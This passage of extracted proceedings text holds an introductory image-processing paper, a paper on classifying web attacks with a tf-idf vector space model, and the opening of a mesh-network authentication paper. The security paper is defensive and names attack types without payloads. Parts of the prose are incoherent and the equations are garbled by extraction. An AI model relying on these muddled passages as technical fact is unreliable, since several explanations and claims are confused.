object-oriented software. In: 18th ISCIS 2003, Springer Verlag—Lecture Notes in Computer
Science (LNCS), vol. 2869, pp. 992–999. ISSN:0302-9743
7. Raju, R., Amudhavel, J., Pavithra, M., Anuja, S., Abinaya, B.: A heuristic fault tolerant
MapReduce framework for minimizing makespan in hybrid cloud environment. In:
International Conference on Green Computing Communication and Electrical Engineering
(ICGCCEE) 2014, pp. 1, 4, 6–8 March 2014. doi:10.1109/ICGCCEE.2014.6922462
8. Guisong, L., Zhao, Q., Hong Q., Luping, J.: Computing k shortest paths using modified
pulse-coupled neural network. Neurocomputing 149 Part C, pp. 1162–1176 (2015).
ISSN:0925-2312
9. Ebrahimipur, V., Shabani, A.: Optimization multi-stateseries weighted k-out-of-n systems by
ant colony algorithm. In: IEEE International Conference on, Industrial Engineering and
Engineering Management, 2009. IEEM 2009, pp. 281, 285, 8–11 Dec 2009
10. Yasuhiro, U., Takuji, T.: Rapid topology design based on shortest path betweenness for virtual
network construction. IERI Procedia 10, pp. 105–111 (2014). ISSN:2212-6678
11. Raju, R., Amudhavel, J., Kannan, N., Monisha, M.: A bio inspired energy-aware multi
objective chiropteran algorithm (EAMOCA) for hybrid cloud computing environment. In:
(ICGCCEE) 2014, pp. 1, 5, 6–8 March 2014. doi:10.1109/ICGCCEE.2014.6922463
12. Trevizan, F.W., Veloso, M.M.: Depth-based short-sighted stochastic shortest path problems.
Artificial Intell. 216, 179–205 (2014). ISSN:0004-3702
13. Hua, J., Liping, Z., Yanxiu, L., Min, Z.: Multi constrained QOS routing optimization of
wireless mesh network based on hybrid genetic algorithm. In: 2010 International Conference
on, Intelligent Computing and Integrated Systems (ICISS), pp. 862, 865, 22–24 Oct. 2010
14. Raju, R., Amudhavel, J., Kannan, N., Monisha, M.: Interpretation and evaluation of various
hybrid energy aware technologies in cloud computing environment—a detailed survey. In:
(ICGCCEE) 2014, pp. 1,3, 6–8 March 2014. doi:10.1109/ICGCCEE.2014.6922432
15. Venkatesan, S., Dhavachelvan, P., Chellapan, C.: Performance analysis of mobile agent failure
recovery in e-service applications. Int. J. Comput. Stand. Interf. 32(1–2), 38–43.
ISSN:0920-5489
16. Bokhari, F.: Channel assignment and routing in multiradio wireless mesh networks using
smart ants. 2011 IEEE International Conference on, Pervasive Computing and
Communications Workshops (PERCOM Workshops), pp. 403, 404, 21–25 March 2011
17. Gupta, D.K., Arora, Y., Singh, U.K., Gupta, J.P.: Recursive ant colony optimization for
estimation of parameters of a function. In: 2012 1st International Conference on Recent
Advances in Information Technology (RAIT), pp. 448,454, 15–17 March 2012
Image Processing Representation Using
Binary Image; Grayscale, Color Image,
and Histogram
Vaka Murali Mohan, R. Kanaka Durga,

Swathi Devathi and K. Srujan Raju
Abstract This paper presents digital image processing and its representation using
binary image; grayscale, color images with the help of additive color mixing,
subtractive color mixing, and histogram. It is also discusses the fundamental steps
involved in an image processing such as image achievement, image development,
image renovation, compression, wavelets, multi-resolution processing, morpho-
logical processing, representation, description and interpretation. Finally, it presents
the per-pixel and filtering operations like invert filter, grayscale, brightness and
color splitting filter.
Keywords Digital image processing Binary image Grayscale, color images

Histogram Filtering operations
1 Introduction
Image processing is a multidimensional signal processing that is used to enhance,

modify, extract information, compress, and transform images which are nothing but
multivariate signals. Image can be treated as a spatial or a two-dimensional signal.
Hence, conventional signal processing techniques like filtering, attenuating, etc., are
extended to image also in the form of image processing. The first question faced
during research in image processing is not “What is Image processing” but “Why
does one want to do Image processing.” It is probably the most attractive subject
V.M. Mohan (&) R. Kanaka Durga S. Devathi

Department of Computer Science & Engineering, TRR College of Engineering,
Inole (V), Patancheru, Hyderabad, Telangana, India
e-mail: vakamuralimohan@gmail.com
K. Srujan Raju
Department of Computer Science & Engineering, CMT Technical Campus,
Kandlakoya, Medchal, Hyderabad, Telangana, India
e-mail: ksrujanraju@gmail.com

354 V.M. Mohan et al.
computer science has ever agitated out in its history. Vision is the most advanced
perception among our senses, and thus images take a particularly important role in
human perception. Watching images transform from one appearance to another as
each operation is being performed, is a true visual treat. The results are there for
everyone to perceive and appreciate. This luxury or seeing the absolute and not
merely imagining the abstract is possible in no other branch of engineering. Image
processing is pursued in order to meet two principal requirements (i) Improvement
in pictographic properties for human analysis (ii) dispensation of the illustration
records designed for storage, communication, demonstration of for independent
mechanism insight.
Several experts have done several research works in image processing; some of
them are Jonathan et al. [1], who introduced a fuzzy regulation-based system
functioning as a selector of color constancy algorithms for improvement of dark
images. Simona and Manta [2] investigated the utilization of image processing
operations with quantum algorithms for the development of the histogram com-
putation and threshold-based segmentation. Alexandru et al. [3] reported the
mathematical morphology which offers popular image processing tools, success-
fully used for binary and grayscale images. Yuan et al. [4] reported a model for
embedding image color or grayscale in true color. Jae et al. [5] reported the face
color information to develop FR results using grayscale images. Gracian et al. [6]
reported the method of human walk pattern recognition through theory of per-
ceptions. Sethi and Chatterjee [7] developed an algorithm for the development of a
decision tree through utilization of the pattern recognition with different variables.
Rajan [8] presented cellular sense selection, methods for achieving high throughput
scheme of the Images by using Rajan Transforms. By observing all these works the
following work is presented.
2 Digital Image and Its Representation
Digital image is a sampled and quantized representation of an analog image. Hence

it represents an analog image using a finite collection of samples. Image is com-
posed of a fundamental unit or cell called Pixel. A digital image is a
two-dimensional array or a two-dimensional sequence of pixels. Hence a group of
pixels regularly arranged in a meaningful order conveys an image. Digital image is
represented as binary, grayscale, and color images.
2.1 Binary Image
It is an image with the purpose of having two different potential standards for every
pixel. Two colors were utilized for the creation of the binary illustration, repre-
sented as black and white, and among these two colors can be utilized. The color
Image Processing Representation Using Binary Image … 355
utilized for any item in the illustration is the middle color at the same time as the
rest of illustration is the surroundings. In another form these binary descriptions are
called as “bi-level and two-level.” In general, these are called “black and white”, “B
and W”, “monochromatic or monochrome,” but might be also assigned some
images with the purpose of simply single sample per pixel, such as grayscale
descriptions.
2.2 Grayscale
Grayscale digital image is an image having every pixel value an asset of single
sample and it takes simply strength in order. Images of this class, furthermore
recognized as “black and white,” are self-possessed completely of sunglasses of
gray, changing through black by the side of the lower strength in the direction of
white by the side of strongest side. Grayscale descriptions are descriptions exclu-
sive of color or achromatic descriptions. Every pixel significance in a grayscale
illustration corresponds to an amount or capacity of brightness. In the realm of
physics, the terms strength or luminance are utilized to explain the power density of
brightness. The term brightness is frequently utilized to illustrate apparent strength
in the psychological intelligence of optical sensitivity.
2.3 Color Images
Color is important for perception, since under normal illumination conditions the
individual eye is more perceptive to color than brightness. Color is capable of being
expressed the same as a combination of three basic components of red, green, blue
(RGB).
But color perception is better expressed in the alternative HSI coordinate system
which will be discussed in the section dealing with color spaces. Additive color
mixing is the kind of mixing you get if you overlap spotlights in a dark room as
shown in Fig. 1. The most commonly used important additive colors are RGB. The
subtractive color mixing idealized with primary filters such as yellow, magenta, and
cyan is as shown in Fig. 2.
2.4 Histogram
Histogram is a kind of diagram which performs at the same time an image of the
total allocation in a digital image. It plots the quantity of pixels designed for every
total value. By giving the impression of being at the histogram for a particular
image a viewer will be able to judge the entire total allocation at a glance.
Fig. 1 Additive color mixing

(RGB)
Fig. 2 Subtractive color

mixing
The histogram plots the number of pixels in the illustration (vertical axis) by means
of an exacting brightness significance (horizontal axis). The histogram can
frequently be demonstrated as a bar graph. The histogram of an illustration is shown
in Fig. 3.
Histogram generally utilized for getting only global information about the image
which is available. It is used when finding optical illumination conditions for
capturing an image, grayscale transformations, and image segmentation to objects
and background. Note that one histogram may correspond to several images; for
instance, change of object position on a constant background does not affect the
histogram.
Fig. 3 a Original image;

b histogram of the same
image
3 Fundamental Steps in Image Processing
Image processing involves many fundamental steps. They are image achievement,
preprocessing, segmentation; demonstration; explanation; detection; analysis. The
input to processing unit is called problem domain as shown in Fig. 4.
The first procedure within image processing is to achieve a digital image.
Digitizing involves both model and quantizing the established signal.
Preprocessing is the method utilized to improve, contrast, re-establishment, color
image processing, wavelets, and multi-resolution processing, eliminate the noise
Fig. 4 Various steps in image processing
and separating regions whose regularity signify probability of alpha-numeric in

sequence. It is performed in the direction of details that are covered, or basically to
emphasize the definite facial look of interest in an illustration, for example,
improving the contrast of an image and transaction through improvement at the
exterior of the image. However, dissimilar improvement, individual, illustration
reinstatement is the purpose in the intellect that re-establishment method tends in
the direction of mathematical representation of image dreadful conditions. It agrees
with the method for sinking the storage space space necessary for saving an image,
or the bandwidth essential to spread compression. These deal with techniques for
demonstration of multiple resolution images and also provide power impending
into an image’s spatial and frequency distinctiveness. It deals by means of appa-
ratus to take out image mechanism with the intention of are positive in the dem-
onstration and clarification of form. The segmentations of the input image is
through constituent parts of the images. Depending on assignment of digital image
processing, there are three procedures; independent, rugged, weak or erratic seg-
mentation algorithms. These approximately track output of a segmentation period.
The raw data from the segmentation part enters the demonstration, which renovate
unprocessed data interested in a form appropriate for succeeding processor dis-
pensation. Recognition is the practice that assigns local to an intention based on the
sequence made available by the descriptors’ understanding assigning meaning to
all together for the recognized things.
4 Per-pixel Operations and Filtering
Per-pixel and filtering operations are based on only one pixel. The filtering oper-
ation can be done one at a time sequentially or all at a time simultaneously
depending on whether the digital signal processor executes this operation sequen-
tially or in parallel. We shall consider an 8-bit image in all the examples whose
pixels have intensity or luminance values ranging from 0 to 255. For a color pixel,
the same operation is performed since a single pixel in a color image is composed of
three sub-pixels which represent the three primary colors: RGB.
4.1 Invert Filter
This is one of the most basic filters which simply do negative operation on the input
image and is shown in Fig. 5. Consider a pixel having certain intensity g(m,
n) where m and n are coordinates that give the position of that pixel.
Fig. 5 a Original image and

b negative of the same image
4.2 Grayscale
A common scheme in order to transform a color image to grayscale to equivalent

pixel of the gray level representation to the pixel of color illustration. To do this
initial single is required to attain principles of its RGB intensity values. Then, add
collectively 30 % of the red value, 59 % of green value, and 11 % of blue value.
The translation color image to grayscale is shown in Fig. 6.
4.3 Brightness
This is a simple operation: Just add an offset uniformly to intensity values of all
pixels and is shown in Fig. 7. Brightness increases the amount of ‘whiteness’ in the
image and creates an illusion or radiation from the image. In other words, intensity
is the insight elicited by the pixel of a visual target.
Fig. 6 a Original image and

b grayscale version of the
same image
Fig. 7 a Original image;

b same image brightened
4.4 Color Splitting Filter
A digital color images is composed of red, blue, and green pixels. Each pixel would
have independent intensity values. In other words, we can say that a digital image is
composed of three channels as shown in Fig. 8. Channel means frequency and
hence each channel can be separated by making a color image pass through a filter
that allows one particular bandwidth, say red, and rejects the other color frequen-
cies. Practically speaking, keeping digital processors in mind, color filtering can be
done on a digital image by simply making the intensities of two of the three colors
zero and keeping the third one unaltered. Thus we get red, green, and blue colors.
Similarly, we can get cyan, yellow, and magenta by making one of the three colors
zero and keeping the remaining unaltered.
Fig. 8 Color filter of an image which is split into three channels
5 Conclusion
This paper presents the digital image processing and its representation using binary
image; grayscale, color images with the help of additive color mixing, subtractive
color mixing, and histogram. It is also discussed the fundamental steps involved in
an image processing such as image achievement, image improvement, image
re-establishment, density, wavelets and multi-resolution processing, morphological
processing, representation, description, recognition, interpretation. Finally, it pre-
sents the per-pixel and filtering operations like invert filter, grayscale, brightness,
and color splitting filter.
References
1. Jonathan, C.-N., Sanchez-Yanez, R.E.: Appl. Soft Comput. 28, 1–10 (2015)
2. Simona, C., Manta, V.I.: Histogram-based segmentation of quantum images. Theor. Comput.
Sci. 529(10), 46–60 (2014)
3. Alexandru, C., Mihai, I., Noël, R.: Probabilistic pseudo-morphology for grayscale and color
images. Pattern Recogn. 47(2), 721–735 (2014)
4. Yuan, H.Y., Chin, C.C., Iuon, C.L.: A new method for color and grayscale image hiding.
Comput. Vis. Image Underst. 107(3), 183–194 (2007)
5. Jae, Y.C., Yong, M., Plataniotis, K.N.: A study of preprocessing mismatch belongings in color
image based face recognition. Pattern Recogn. 44(2), 412–430 (2011)
6. Gracian, T., Alberto, A.A., Gonzalo, B.: Application of the computational theory of perceptions
to human gait pattern recognition. Pattern Recogn. 43(7), 2572–2581 (2010)
7. Sethi, I.K., Atterjee, B.: Efficient decision tree design for discrete changeable pattern
recognition problems. Pattern Recogn. 9(4), 197–206 (1977)
8. Rajan, E.G.: Special Issue Comput Vision. 18(Part 2), 279–300 (1993)
A Vector Space Model Approach
for Web Attack Classification
Using Machine Learning Technique
B.V. Ram Naresh Yadav, B. Satyanarayana and D. Vasumathi
Abstract Web applications usage is increasing in online services in many ways in

our day-to-day life. Business service providers have started deploying their business
over the web through various e-commerce applications online. The growth of
online web application increases the web complexity and vulnerability in terms of
security which is a major concern in the current web security research. The
extensive growth of various types of web attacks is a severe threat to web security.
HTTP requests are usually secret code into a web attack spread through the
injection and allow them to perform malicious actions on remote systems to execute
arbitrary commands. This paper proposes an efficient approach for web attack
classification, using a vector space model approach (VSMA), to improve the
detection and classification accuracy. It is able to automatically classify the attacks
from valid requests to detect the specific web attacks. The evaluation measure
shows high precision and low recall rates than the existing classifiers in comparison.
Keywords Web security Vector space model Web attacks Classification

Accuracy
B.V. Ram Naresh Yadav (&)

Department of CSE, JNTUH College of Engineering, Nachupally,
Karim Nagar, Hyderabad, Telangana, India
e-mail: bvramnaresh@gmail.com
B. Satyanarayana
Department of CST, Sri Krishna Devaraya University, Anantapur, Andhra Pradesh, India
e-mail: bachalasatya@yahoo.com
D. Vasumathi
Department of CSE, JNTUH College of Engineering, Hyderabad, Telangana, India
e-mail: rochan44@gmail.com

364 B.V. Ram Naresh Yadav et al.
1 Introduction
Web applications suffer from serious security threats against various attacks in
modern computer systems. Many information service providing applications and
portals such as social network sites, blogs, online selling sites, web mails, etc., are
accessed by millions of web users daily for various kinds of information needs. It is
not surprising that this explosive growth involves a high amount of vulnerable
activity over the web in recent years [16].
In relation to security the need for web application services is equally important
and at the same time vulnerable. The importance of web service is to provide
accessibility to the crucial services and sensitive data. According to recent obser-
vation, 80 % or more of Internet users make purchases online through different
portals [11, 13]. This makes the web highly critical and sensitive to prevent various
web attacks [18]. It was observed that most of the vulnerability is caused due to
inherited public and distributed access. In a recent survey, 90 % of the severe
vulnerabilities [9] in the web service providers and 100 of the most popular web-
sites hosted or participated in malicious activity indicated that of the 1960s [8].
Though many and varied types of web attacks are possible, generally the attack is
during processing of application code is injected into an HTTP request to the web
server to run. Such code can allow an attacker to execute commands on remote
systems. The attacker is at a risk of damage to the scale of the system which is
essentially unlimited.
We propose an efficient classification approach to deal with HTTP attacks
detection based on enhanced decision tree induction for malicious incoming HTTP
requests. The objective of the work is to improvise detection accuracy through a
precise classification approach. We enhance the decision tree with useful options to
select through a machine learning method which can take over at any point in the
decision tree to efficiently identify the attack class for classification. The classifiers
will be able to automatically label the incoming requests as “Safe” or “Harm” using
the decision tree.
The rest of the paper is organized as follows: Sect. 2 gives an insight into the
background works and challenges in web application and web attacks. Section 3
describes the proposed vector space mode approach for web attack classification.
Section 4 presents the datasets, evaluation, and comparison results and Sect. 5
draws the conclusion of the work.
2 Background Study
Web security is a growing concern as the web is increasingly becoming the primary
source of application deployment, and their complexity is increasing which presents
a number of challenges [7]. In a competitive market, time to market is the primarily
goal and as a result, web developers may neglect and not fully implement the best
A Vector Space Model Approach for Web Attack Classification … 365
security practices. This field has always been a field under constant research but the
amount of research is growing heavily over the past few years due to the growth of
cloud applications deployed on the Internet. Thus the web security field has been
highlighted more than ever and is currently a topic that a lot of research and
development are invested in. Attack detection of abnormal network packets or
requests on the website [1] in the case of a lot of work does not consider the state of
the web application. We will be able to use the application-level policies such as the
internal state of the control program that could help improve detection. In fact, they
are used in the program that has access to all the internal data structures and
algorithms.
Pachopoulos et al. [10] proposed web attack classification in two approaches. In
the first method to build a classification of binary features, a feature is selected [2],
and standard decision tree algorithm applied for supervised learning C4 to maintain
HTTP request data that is collected. A support vector machine using the core of a
string as input features for the second method uses HTTP string representations in
different places. After the failure of previous approaches it provides satisfactory
performance of SVM approach. The authors failed to comply with C4 policy. C4
uses a binary input manually or derived features!!! are dependent on the presence of
indicators of an attack on the right.
Exbrayat [12] proposes a language model approach which is used to display
HTTP-based models produced by the attacks. The author attack patterns observed
are keyword sequences of symbols and variables. Therefore, based on the
sequences of the process HTTP requests the origin of the attack rules to determine
the beginning and end of the chains. The core of this approach is to extract and
evaluate the possible rules. Once this is done, it matches a specific rule [3, 4] based
on a candidate’s application and is easy to classify.
2.1 Web Applications and Web Attacks
2.1.1 Web Applications
Web-based applications are mostly divided into representation, use, and storage in
three logical steps. In general, some of the web servers using a web content display
technology, the engine is the first step in the application logic, known as the middle
layer, and finally, the third level is stored in the database. In some examples, IIS
Web Logic Server and Apache Tomcat can be mentioned in the application servers
and Oracle and MySQL databases are used most often. The presentation tier
facilitates a separate warehouse for creation and maintenance of websites. Web
server database queries and updates in the services are performed and the middle
layer sends a request to create a user interface.
Upon request from the database to obtain its contents, as opposed to the static
pages, the web content is dynamic with dynamic pages. Programs such as Perl,
CGI, Python, or C/C++ programming achieve the-fly generation of web content
technologies, along with JSP/ASP.NET or PHP pages, platform, etc. There are a
number of VB, C#, Java languages, such as dynamic websites. In general, the data
stored in the database, the application of these pages, the data stored in the back-end
database access, and the need for the attacks.
2.1.2 Web Attacks
Web attacks are largely dependent on the specific application or integrated into a
single platform. All web applications are based on simple, classified as static or
dynamic [5, 8] traps.
Such traps are the mostly in shopping carts, security modules, and payment
gateways, application, website and database servers over an operating and firewall
system run by a third-party component in static web attacks platform for web
applications to identify security vulnerabilities and erroneous configuration for the
security vulnerabilities. The weakness of the hand to the end user provided file
extensions, or items that are not part of the web application is a common feature of
[6]. Therefore, it does not have all the resources on demand by the user of the
character that appears very difficult to detect suspicious behavior.
Dynamic web application attacks, legal pages only ask, but they are expected to
undermine parameters. Manipulation of the consequences of the attacks can lead to
a variety of input arguments: the disclosure of information about the venue, etc. In
this case, the theft of other users, execution command and information about the
type, and the predicted values to provide information about the user’s input and it
outputs a request to have the opportunity to try to detect changes.
The popular essential web attacks are exposed.
• Invalid parameters It is a URL or request parameters that can be manipulated in
the body. Data from web application requests are not validated before being
used by the web application; an attacker can use these weaknesses to attack the
rear of the components through a web application.
• Command injection It accesses external systems or the local operating system
parameter web applications. The parameters for an attacker can embed mali-
cious commands; run the following commands in the name of the external
system are a web application.
• Cross-site scripting (XSS) It is an application process that takes user provided
data to a web browser without first validating or encoding content when it is
administered. XSS, perhaps the introduction of worms, etc., to deface websites
may allow an attacker to execute any script in the browser hijack user sessions
victim.
• SQL injection It is the database layer of applications. Either the user input is not
strongly typed incorrectly, or the user input is stored in an SQL string literal
escape characters in the filter and the attack is executed in the database
unexpectedly.
• Buffer overflows Web application components in some languages that do not

validate the input are used to control the process, in some cases, may be forced
to crash. These elements are libraries, drivers, and web application server
components.
Web attacks, attack detection of segregation, and discrimination as well as the
introduction of a competitive and runtime performance of the craft is necessary to
compute the minimum cost. The purpose of this work is aimed at both the chal-
lenges and the potential classifications discussed below for the separation and
detection of these ways.
3 Proposed Vector Space Model Approach

for Classification
Salton et al. [14] proposed vector space model as a method for text document,
effectively indexing and comparing for information retrieval applications. This
approach model classifies a text document in terms of weight, which is considered
more important or representative, and is represented by a vector of the word.
Our VSMA classification is based on the vector space policy to expand this model
to create an effective classification. However, semi-structured data that can be
divided into specific areas of the HTTP request to the idea of our approach is to
treat this structure to ignore the request of the unstructured text. This treatment
allows classification of HTTP as a problem retrieving document.
3.1 Initial Learning Phase
The proposed VSMA classifier is trained by utilizing documents with merge all
receive requests for a particular attack type over one document data. This provides a
quantity of eight documents (i.e., “Safe” + eight attack types). Each document
provided is tokenized based on whitespace and ‘+’ characters and link information
is encoded as characters.
The weights are represented as vectors of each of the documents of tokenized
words and compute the weight using tf-idf [6]. A tf-idf weight is a measure of two
components as tf, the term frequency and idf, the inverse document frequency. The
tf component observes the words that occur frequently in a document, whereas the
idf component penalizes the words that also occur in many other documents.
For each word t and document d in corpus D, tf-idf is defined as
tfidf ðt; dÞ ¼ tf ðt; dÞ idf ðtÞ ð1Þ
countðt; dÞ
tf ðt; dÞ ¼ P ð2Þ
v2d countðv; dÞ
jDj
idf ðtÞ ¼ log ð3Þ
jfd 2 D : t 2 dgj
where wcount(t, d) returns word t in document d as number of occurrences.
3.2 Modeling Approach
VSMA classifier modeling is done once the learning phase is completed, and we
apply it to the new incoming HTTP request for classification. Incoming requests are
considered queries that are transferred to the particular vector, as explained above
and then compared against each of the eight word vector attacks. The received
request is assigned to a type of attack that gives the best class and is more relevant
to query and document.
Particularly, for each receiving web request we compute a distribution proba-
bility of each classes possible as follows:
PðA ¼ ajRÞ ¼ a simcos ða; RÞ ð4Þ
In Eq. (4), A represents a random variable for type of attack, a is particular

assignment
P to a attack type, α is a constant variable for normalization, which ensure
that a PðA ¼ ajRÞ ¼ 1 and R represents receive web request and simcos, which is
a cosine similarity function as defined below.
!
~
aR
simcos ða; RÞ ¼ ð5Þ
ajj jj~
jj~ Rjj
P
t2a\R tfidf ðt; aÞ tfidf ðt; RÞ
¼ rffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
qffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi
P 2 P 2
t2a tfidf ðt; aÞ t2R tfidf ðt; RÞ
Using Eq. 4 distributed probability for a class is calculated and accordingly a

class is assigned to the following decision rule:
8
< valid if PðA ¼ ValidÞ [ T
crossðRÞ ¼ argmax P(A ¼ ajR) otherwise ð6Þ
:
a
where the decision is based on the set based on tenfold cross-validation perfor-
mance having a threshold T on the training data set.
3.3 Complexity Evaluation
This approach works efficiently on web attack classification. For completeness, we

discuss the complexity of both the training phase and application in the model.
However, as it has been done in the learning process modeling applications in
real-time, and can hardly be disconnected, however, because the complexity of
modeling is of utmost importance.
3.3.1 Learning Phase Complexity
Learning and training for each request involves calculating a tf-idf weight value for
each word in the training set. In each training cycle we calculate wcount (t, d),
P
v2d wcountðv; dÞ and idf(t) over the training set. The tf-idf weight is completely
computed in the second cycle of training. So, the learning complexity of the
algorithm is computed as O(W), where W is considered as the total number of
tokens in a set.
3.3.2 Modeling Complexity
In the modeling learning phase we have one request q to calculate tf-idf weights
instead of having full training data set; we also compute simcos. The word weights is
an input value for simcos calculation, which can be computed in O(|q|)time. The
modeling algorithm runs O(8.|q|) = O(|q|) time for eight attack types for the
computation.
4 Evaluation
In this section, data collection and the classifier were used for the experiments
described by other parameters. We use an open source data mining, several clas-
sifiers for experiments, and also a Weka tool for evaluation of the performance of
the classifier. Tenfold cross-validation is used to assess the robustness of classifiers.
The accuracy of the prediction performance of malicious web pages [17] found that
the measures are correctly classified instances based on the prediction accuracy of
the calculated ratio. The prediction accuracy and training time are used to evaluate
the performance of the trained models.
4.1 Data Collection
To evaluate the proposed classification approach XSSed database [15] is used in our
experiments and we collected 400 URLs. These are the ways we identify malicious
URLs used for verification. Finally, our dataset contains 250 to malicious attack
consists of Redirecting URLs, script Injection, and XSS attacks as attacks corre-
spond to different types of web attacks.
4.2 Performance Analysis
A tenfold cross-validation is used to evaluate the results of the classifiers. The

objective of this technique, and how to predict the correct estimate of a model is
executed in practice. Initially, original data is separated into tenfolds sets. Every
time a fold set is utilized as a test set and the remaining fold tests are utilized for
training set. This process continues to obtain the average performance based on the
test runs.
4.3 Classification Evaluation Using Weka
There are many algorithms for classification used to classify web attacks, such as
decision tree induction and Naive Bayes. These are implemented and trained using
Weka. Evaluation using tenfold cross-validation is to identify the consistency of
classifier algorithms. The first performance as a measure of predictive accuracy is
used to predict the attack. Correctly classified based on the test set and the total
number of cases in the test instance is to measure and compare the accuracy of the
prediction of the ratio. The prediction accuracy and training time and the model for
the prediction accuracy of the model is used to evaluate the performances of the two
criteria are compared. A tenfold cross-validation results for the three classifiers as
VSMA classifier, decision tree induction (DT) and naive Bayes (NB) are presented
in Tables 1 and 2.
Figures 1, 2 and 3 show a comparison between NB, DT, and VSMA. Naïve Bays
algorithm compared shows the low precision compared to VSMA which prove the
classifier efficiency and also the low error rates.
Table 1 Performance comparison of classifiers

Measures Classifiers
Naïve bayes Decision tree VSMA classifier
Time taken to build (s) 0.02 0.03 0.01
Correctly classified items 198 210 245
Incorrect classified items 52 40 5
Accuracy percentage 79.2 % 84 % 98 %
Table 2 Comparison of estimates

Measures Classifiers
Naïve bayes Decision tree VSMA classifier
Relative absolute error 51.125 24.901 12.4739
Root relative square error 80.589 19.1194 17.536
Mean absolute error 0.1157 0.0802 0.0325
Root mean squared error 0.3138 0.1246 0.0684
Kappa statistic 0.5917 0.9421 0.9812
Fig. 1 Classifier accuracy

comparison
Fig. 2 Classifier error rate

comparison
Fig. 3 Root mean and kappa

ratio comparison
5 Conclusions
Detecting attacks on the websites of Internet security is a challenge. This paper

extracts various features to classify attacks on the website and the URL of web
document using vector space-based approaches. It is proportional to the size of an
incoming request efficiently at runtime. To increase the effectiveness of a minimal
impact on classification performance can be achieved by pruning the vocabulary
word. This experimental result shows that our approach compared to naive Bayes
and decision trees achieved a high rate of accuracy. In the future work, we will
consider more web attacks; it is clear that the characteristics of the new attack are a
good opportunity for researchers.
References
1. Shailendra, S., Sanjay, S.: An ensemble approach for cyber attack detection system: a generic
framework. IEEE, 14th-ACIS, pp. 79–85 (2013)
2. DinhNguyen, H., Cheng, Q.: An efficient feature selection method for distributed cyber attack
detection and classification. IEEE, pp. 1–6 (2013)
3. Xu, L., Lille, I., Xiaohui, L., Xiaodong, L., Haojin, Z.: Securing smart grid: cyber attacks,
countermeasures, and challenges. IEEE Commun. Mag. 38–46 (2012)
4. Richhariya, V., Rana, J.L., Jain, R.C., Pandey, R.K.: Design of trust model for efficient cyber
attack detection on fuzzified large data using data mining techniques. Int. J. RCCT 2(3), 126–
132 (2013)
5. Shailendra, S., Sanjay, A., Murtaza, A. et.al.: Improved support vector machine for cyber
attack detection. IEEE, pp. 1–6 (2011)
6. Jovanovic, N., Kruegel, C., Kirda, E.: Pixy: a static analysis tool for detecting web application
vulnerabilities. IEEE Symposium on Security and Privacy (2006)
7. Kruegel, C., Vigna, G.: Anomaly detection of web-based attacks. ACM, 10th Conference on
Computer and Communication Security, USA, pp. 251–261, Oct 2003
8. Gollmann, D.: Securing web applications. Inform. Secur. Techn. Report 13(1), 1–9 (2008)
9. Symantic: Security threat report—trend for 2012. Symantic, Tech. Rep., April 2012
10. Pachopoulos, K., Valsamou, D., Mavroeidis, D., Vazirgiannis, M.: Feature extraction from
web traffic data for the application of data mining algorithms in attack identification.
Proceedings of the ECML/PKDD’2007 Discovery Challenge, pp. 65–70 (2007)
11. Anagnostakis, K.G., Sidiroglou, S., Akritidis, P. et al.: Detecting targeted attacks using
shadow honeypots. Proceeding for USENIX Security Symposium, pp. 129–144 (2005)
12. Exbrayat, M.: Analyzing web traffic—a boundaries signature approach. Proceedings for
ECML/PKDD-2007 in Discovery Challenge, pp. 53–64 (2007)
13. Cova, M., Balzarotti, D., Felmetsger, V., Vigna, G.: Swaddler: an approach for the
anomaly-based detection of state violations in web applications. Recent Advance in Intrusion
Detection (RAID), pp. 63–86, Sept 2007
14. Salton, G, Wong, A, Yang, C.S.: A vector space model for automatic indexing. ACM
Commun. Network 18(11), 613–620 (1975)
15. Database of XSSED: http://www.xssed.com/
16. Web Application Security Statistics Project-2007: Web App. Security Consortium. http://
www.webappsec.org/projects/statistics/wasc_wass_2007.pdf (2008)
17. Vigna, G., Valeur, F., Balzarotti, D., Robertson, W., Kruegel, C., Kirda, E.: Reducing errors in
the anomaly-based detection of web-based attacks through the combined analysis of web
requests and SQL queries. J. Comput. Secur. 17(3), 305–329 (2009)
18. Ten, C.W., Manimaran, G.: Cybersecurity for critical infrastructures: attack and defense
modeling. IEEE Trans. Syst. 40, 853–865 (2010)
Formal Verification of Secure
Authentication in Wireless Mesh Network
(SAWMN)
Ninni Singh and Hemraj Saini
Abstract Wireless mesh network (WMN) is considered to be an evolving tech-

nique because of self-configuration and adaptive features, and it supports
large-scale network especially in an organization and academics. As with any
network, communication among nodes plays an important role, when two nodes in
a network communicate with each other via the internet, secure authentication is an
imperative challenge. In literature, there are many approaches that have been
suggested to deliver a secure authentication between nodes in WMN; however, all
these outlines contain some disadvantages, i.e., management cost of the public key
and system complexity. In this paper, a Secure Authentication in Wireless Mesh
Network (SAWMN) approach is proposed which overcomes these drawbacks and
provides an efficient authentication to the mesh clients. Further, SAWMN results
have been shown simulated on AVISPA SPAN to ascertain the authenticity of the
proposed approach.
Keywords Wireless mesh network Authentication AVISPA SPAN

SAWMN
1 Introduction
In computer networks, conversation among nodes plays a significant role. Wireless

mesh network (WMN) appears as an auspicious concept to solve the challenges of
the current scenario and represents a cost-effective solution to service providers by
incurring adaptive, self-configured, and self-organized features [1].
N. Singh (&) H. Saini

Department of Computer Science and Technology, Jaypee University of Information
Technology, Waknaghat 173234, India
e-mail: ninnisingh1991@gmail.com
H. Saini
e-mail: hemraj1977@yahoo.co.in

376 N. Singh and H. Saini
A WMN (as shown in Fig. 1) consists of two types of nodes: Mesh Router
(MR) which supports routing capability and turn as a backbone in mesh networks
and Mesh Client (MC). Mesh routers provide flexibility features by having multiple
interfaces of same or different access technologies. Mesh router has less mobility,
and thus it is considered as a stationary node in a network and it does not have any
power and resource constraints like mesh clients which are mobile and have a
power constraint. In addition to the networking capability of mesh router, some
mesh routers are designed as a mesh gateway which adds functionality in the mesh
network, i.e., it is used to connect other mesh networks. Mesh clients can access
WMN by direct linking to nearest mesh router or in a multiple ad hoc manner (ad
hoc networking) [2].
Security is the one of the open challenge, during setting up a WMN because of
the static network topology and distributed architecture of WMN [3]. Today to deal
with security challenges, multiple operators are used to manage WMN. Each mesh
client has to register with any operator present in the network. Mutual authenti-
cation and key agreement are yet an unresolved challenge for the secure roaming of
